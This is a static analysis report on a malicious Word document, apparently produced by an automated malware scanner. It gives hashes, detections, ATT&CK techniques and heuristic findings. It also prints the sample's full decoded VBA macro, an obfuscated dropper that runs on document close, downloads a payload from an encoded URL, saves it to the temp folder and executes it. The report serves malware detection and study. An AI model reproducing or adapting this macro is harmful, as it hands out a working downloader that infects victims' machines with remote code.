Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e0229719aa52439c…

MALICIOUS

Office (OLE)

246.5 KB Created: 2016-06-27 12:59:00 Authoring application: Microsoft Office Word First seen: 2018-11-20
MD5: 3b7cc26a4b133fc658ce9ced42b5c960 SHA-1: 14f2e5b4345d9c95bea1f032a732c6c756a09231 SHA-256: e0229719aa52439cce49c3a25084240f83ecaada6c954231b89e49682a94a406
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that utilize `CreateObject` to download a file from a hardcoded URL and save it to disk. The script attempts to download a payload from "hÖÖÓ://www.ÀdÂkÒ.gÂ/ÄmgÕ/ÕlÄdÂ/1ØÅÂâÔÄvÂ.ÂÛÂ" and save it as "C:\Users\Public\Documents\âàÚFàVâä.ÂÛÂ". This indicates a downloader functionality, typical of many malware families.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ = ¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²».responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½ = CreateObject("Shell.Application")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ® = Environ("tmp") + «»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®("\âàÚFàVâä.ÂÛÂ")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9284 bytes
SHA-256: 4cb230efd882d2b7ff37d9759caeec04e5571798b582e7728c213be7ffab62c2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
Dim ¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®
Dim ««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½
Set ««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½ = CreateObject("Shell.Application")

Dim ¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»
Set ¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²» = CreateObject("microsoft.xmlhttp")

¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ® = Environ("tmp") + «»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®("\âàÚFàVâä.ÂÛÂ")
¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²».Open "GET", «»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®("hÖÖÓ://www.ÀdÂkÒ.gÂ/ÄmgÕ/ÕlÄdÂ/1ØÅÂâÔÄvÂ.ÂÛÂ"), False
¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²».send
¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ = ¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²».responseBody
If ¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²».Status = 200 Then
Set ¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡ = CreateObject("adodb.stream")
¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡.Open
¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡.Type = 1
¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡.Write ¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ
¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡.SaveToFile ¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®, 2
¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡.Close
End If
««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½.Open (¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®)

MsgBox "Click OK"
End Sub

    Public Function «»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®(¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²)
        »¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
        ·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²)
            ´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®»¶¾«ºº³³¬§°¯£¯¡º = InStr(»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´, Mid(¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ², i, 1))
            If ´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®»¶¾«ºº³³¬§°¯£¯¡º > 0 Then
                ®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª² = Mid(·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦, ´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨»¸¸·º²µ¹«µ´½¸¹´¬¶§¨»µ®»¶¾«ºº³³¬§°¯£¯¡º, 1)
                ½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹ = ½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹ + ®º¹µ¯¾£¬¦£¥²¼¼¦¥°¾´ª¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²
            Else
                ½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹ = ½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹ + Mid(¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹½ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ², i, 1)
            End If
        Next
        «»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬·®¹¼¤«¬¿¥§·«´·µ»½©´µº¯½¡¹ª²½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£® = ½¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹©¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨²½·¼¥¨º»¡»¾«½°¶·¶¹©¥¡®¦¦´¶¸³®¥©¼²´¿²µ¼º°¸¨¨¹
    End Function

Attribute VB_Name = "NewMacros"
Sub MagtiHostingService()
'
' MagtiHostingService ??????
'
'

End Sub